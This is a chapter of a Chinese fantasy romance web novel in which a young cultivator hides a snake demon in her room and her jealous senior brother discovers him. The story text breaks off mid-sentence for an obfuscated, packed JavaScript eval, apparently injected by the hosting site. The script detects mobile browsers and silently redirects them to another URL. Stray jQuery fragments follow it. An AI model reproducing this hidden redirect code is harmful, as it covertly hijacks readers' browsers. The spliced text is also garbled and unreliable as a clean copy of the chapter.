默认冷灰
24号文字
方正启体

5.撞破

作者:遥点烟汀本书字数:K更新时间:
    她回到自己旧时的厢房,所有陈设都与她离开别无二致,台面上没有落灰,甚至花瓶中都插着花枝。


    江渺将门合上,走到窗边,轩窗支起,正好能看见丛林远山。


    缠在她手臂上的小蛇也从袖口探出头,落在桌上,仰起身子看向她。


    “这是我长大的地方,不用担心,这里比外面安全。”


    江渺垂下视线,伸出手指,轻轻点了点他的脑袋,“变成蛇这么久,还记不记得怎么化成人形?”


    他用身子蹭了蹭她的手,二人朝夕相处了月余,每次客栈里歇脚,她都会教他说一些简单的词句。


    他学得很快,虽然发音有些生涩,但表达自己的意思已经不成问题。


    化成蛇形时他不能说话,因此他也并未搭理她的提问,转而探索起房间的陈设。


    江渺撇撇嘴,将鸿渺剑取下,在墙上挂好后,来到床边,脸埋进锦被中,是熟悉的皂角与阳光混合的气味。


    她闭着眼躺了片刻,突然感觉到身边的被褥陷了下去。


    腰肢被人从后紧紧抱住,背也贴上一个坚实的躯体,紧贴之下她甚至能清楚地感知到他心跳的频率。


    “…渺渺。”


    他说得轻轻的,音色好似山涧溪流,清清泠泠。


    她可以发誓,自己从没教过他这样唤自己,她只是告诉了他自己的名字,其余的全是他自作主张。


    江渺掰开他的手,从床上支起身,他便调整姿势,双手环着她脖颈,强行挂在她身上。


    “你知不知道自己很重。”


    她无奈的叹了口气,抬手把他凑过来的脑袋挡住。


    他装作听不懂的样子,见她拒绝,就把头靠在她肩膀,哼哼唧唧。


    江渺握住他的手,照例给他输送妖力,以便他维持人形。


    若是他不小心变回以前那样,一旦败露,她可就有得受了。


    他体内的妖力只减不增,或许是不懂得如何修炼运功的缘故。


    可她记得师父也并未教过她如何修炼,只是叫师兄用灵力牵引着她,让灵力在体内运转一个周天,此后她也就开了窍。


    她当然是有样学样,每次给他注入妖力之前都会带着他感受一遍如何运功,他却像是一点也不懂似的,只知道盯着她瞧。


    难道是脑子不好?


    她蹙着眉,回忆着他平日里的举动,除了有些粘人之外,怎么也不像傻子啊。


    突然感受到触碰,她回过神,对上他关切的眼神。


    他的手抚在她皱起的眉心,道:“渺渺哪里疼吗?”


    江渺闻言,把他的手挪开,摇摇头:“不疼。”


    易玉衡为了给她接风,做了一桌子好菜,她等得无聊,在房间里转了转,又躺回床上,说是闭目养神,实则早就睡了过去。


    也不知过去了多久,她感觉到有人在抚摸自己的头发,正想起身,半梦半醒见闻到一股熟悉的松木香味。


    警惕瞬间消散,紧绷的肌肉也松弛下来,她遵循本能,闭着眼慢慢挪动身子凑上去。


    “……师兄。”


    她把脸埋在他腿间,声音又闷又娇,脑袋轻轻蹭了几下,“还是好困。”


    易玉衡见她如此,不由得笑了,将她披散着的长发归拢一处,又把她从床上捞起:“师父和师叔都等着你呢,今天我可不能惯着你的脾气。”


    她靠在他身上醒了醒神,终于撑开了眼皮,打着哈欠下了床,来到梳妆台前,拿起梳子开始梳妆。


    易玉衡拿起她扔在榻上的玉簪,送到她面前:“你这屋子或许是太久没人住,有动物活动过的痕迹。我每次回来都会替你打扫整理,可不知怎的,总觉得有股腥味,江儿没闻见吗。”


    他的话惊得她心头一颤,她面上不动声色,随口敷衍过去,他也没再继续这个话题。


    梳妆过后,二人从房中离开,她偷偷施了个禁制,将房间锁住。


    估计小蛇是趁着师兄进来之前匆匆找了个地方藏起来,虽然不知道具体在哪,但应该还在房中。她必须留个心眼,免得自己不在时闹出什么事来。


    回到山门后,她绷着的心弦就松了下来,锋芒尽敛,又变成最受宠的江江儿。


    席间,凌青给她夹菜,万越云则一直问着她在外的见闻,易玉衡偷偷把她盏中的酒倒掉,换成乌龙茶。


    她只觉得无言,自己在外头可是有千杯不醉的美名,怎么在师兄眼中还是个一口就倒的小屁孩。


    江渺将乌龙茶一饮而尽,又给自己斟满一杯酒,看准易玉衡偷偷摸上来的手,扣住他手腕,拖到桌下。


    易玉衡微微侧过脸,对上她的视线,二人什么都没说,只是他悄悄抓住了她的手指。


    酒足饭饱,她想起来收拾碗筷,却见师兄先她一步起了身。


    “你久不回来,就留在这多陪一下长辈。”


    他低声说着,将她面前的酒盏拿走,“我弄好就来。”


    江渺见他离开,生怕他发现了自己房中了端倪,要趁着现在去验证,便凑到凌青身侧,一边回应着他的话,一边将话题牵引到自己想说的事情上。


    “…师父,师叔,我在山下时……”


    话还没说完,就见易玉衡又折返了回来,她立刻闭了嘴。


    他将切成块的水果推到她面前,在她对面坐下,二人视线相接,他笑着说:“江儿最爱吃桃子,师叔听说你要回来,特意去给你买了许多。”


    江渺抿了抿唇,在他的注视下,吃下一块。


    好累。


    从前在山门中,与师父他们说话,也会这么累吗?


    她单手支着额头,垂着脑袋,眉心微微蹙着,只觉得头疼。


    是因为喝了酒,还是舟车劳顿,精神松懈了下来,被疲惫冲垮了意志?


    “……师父,师叔,我实在是倦了。”


    江渺从桌前起身,打断他们喋喋不休的话语,“我先回房了。”


    她强撑着精神回到屋中,结界没破,她松了口气。


    推开房门,她刚走到床边,就直愣愣地倒了下去,好在被柔软的被褥接住,一点也不疼。


    好奇怪,她从没有过这么困,眼皮仿佛有千斤重,根本撑不起来。


    入睡前,她依稀感觉到有只手搭在自己脸上,周围的声音已经无从分辨,一切都陷入了长久寂静的黑暗。


    知觉从指尖开始复苏,一股温柔的灵力慢慢注入体内,流过四肢百骸,一点一滴汇入她的识海。


    她不知道时间过去了多久,视线


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107162|195772||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    模糊不清,却终于能听见周围的声音。


    “渺渺…你终于醒了。”


    他的声音喑哑,带着哭腔和鼻音,彼此交握的手被牵起,他微凉湿润脸颊贴在她手背,“我怎么叫也叫不醒你,只想到这个办法。”


    江渺盯着床顶上的纱帐,过了好一会儿,才说:“你原来会运功。”


    不仅会运功,还能像她一样,将灵力与妖力互相转化。


    她偏过头,看见他红着眼眶,彩线难收面上珠。


    他的泪接连不断地滚落,在脸上凝成两道泪痕,又从下巴滴落下去,濡湿了衣襟:“…我好担心,以为这样能让你舒服一些,才……”


    江渺无奈地抬起手,用袖子在他脸上轻轻擦拭,十指相扣的手分开,他乖巧地伏下身,凑到她身边。


    “担心我,所以就突然学会了?”


    江渺捧着他的脸,“我怎么不信呢。”


    他止住了泪,却仍旧是那副泫然欲泣的模样,黄绿色的眸子在昏暗的烛火下显得异常温柔,他凝望着她,说:“不想学,想渺渺每天都和我牵手。”


    说罢,他移开视线,轻轻握住她搭在自己脸颊上的手:“喜欢。”


    喜欢?喜欢什么,喜欢被人强行注入妖力吗。


    妖都这么奇怪的吗。


    她阖上眼帘,摒弃掉脑中那些纷杂的想法,凝神静气,意识探入自己体内。


    他汇入她体内的灵力不过零星几点,识海中空空如也,她的灵力呢?


    江渺心中有些微妙的感觉,还来不及细想,突然意识到了不对劲。


    自己灵力失散,那她设下的禁制结界呢?


    她正想叫他化形,可话还没来得及出口,紧闭的房门突然被人推开了。


    “江儿,你……”


    话说了一半便戛然而止,紧接着是东西摔碎的脆响。


    易玉衡手上端着的醒酒汤砸在了地上,瓷片碎得满地都是,他的视线却不曾移动半分。


    她的厢房中没有太多陈设,可以说得上一览无余,因此,他也绝不会看错。


    她的床上,有另一个男人。


    她被那声音一惊,心都快跳出嗓子眼,赶紧坐起身,试图把小蛇藏在身后。


    可是她忘了,他现在是人形。


    一道符篆破空而来,带起凌冽的风,擦过她脸颊。


    易玉衡站在门外,那双素日里总是笑着的眼睛此时此刻盛满怒火,那眼神,几乎要将她洞穿。


    “………他是谁,为什么会在你床上?”


    江渺没心思回应他的问题,一心只想着被符篆打中的小蛇。


    他体内妖力所剩无几,估计只能够维持人形,相当于硬接下了这道符篆。


    江渺抓住他的手,下意识想给他输送妖力,这才发现自己识海中亦是枯涸一片。


    他嘴角挂着血丝,勉力支撑着精神,见她眉心紧锁,轻声安慰道:“…渺渺,不用担心我。”


    听见他称呼得如此亲昵,易玉衡更是妒火中烧,也不管她还没有回答自己,迈步走向二人,藏于袖中的指尖又凝出一道符篆。


    “江儿。”


    她抬起头,把他护在自己身后,正正对上易玉衡的双眸。


    “他是谁?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)